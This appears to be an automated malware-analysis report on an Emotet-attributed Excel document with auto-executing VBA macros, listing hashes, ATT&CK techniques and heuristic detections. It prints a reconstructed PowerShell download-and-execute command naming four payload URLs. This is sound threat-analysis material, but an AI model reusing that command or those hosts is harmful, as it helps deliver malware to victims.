Emotet Office (OLE) / .XLSX malware analysis — malicious · 51a0d8b1e83fc4da

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 8cadad6d4865028964bf335fea4268b1 SHA-1: 2b166a127dcacf9380255c8585c6470e84ee282a SHA-256: 51a0d8b1e83fc4da9be23a868a664264e0b4c951ef8b6c6752ce247179499d38

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The critical ClamAV detection and high-severity heuristics for OLE_VBA_MACROS, OLE_VBA_WBOPEN, and OLE_VBA_PCODE_AUTOEXEC_EXEC indicate a malicious macro-based document. The Workbook_Open macro is designed to execute a PowerShell command that downloads and executes payloads from multiple URLs. The reconstructed PowerShell command is: 'wershell -e "htps://store.uxdummmit.com/wp-admin/VfgBSQRA7Z/,https://glowerntals.com/wp-admin/f12eKAJG Tns6I/,http://candise.bmintaracteractivegroup.org/1g94ngo/2n7wJoPuPDaenPcx/,http://bacchileatoropociclo.org/"'. The presence of Emotet-related indicators in the ClamAV signature further supports this family attribution.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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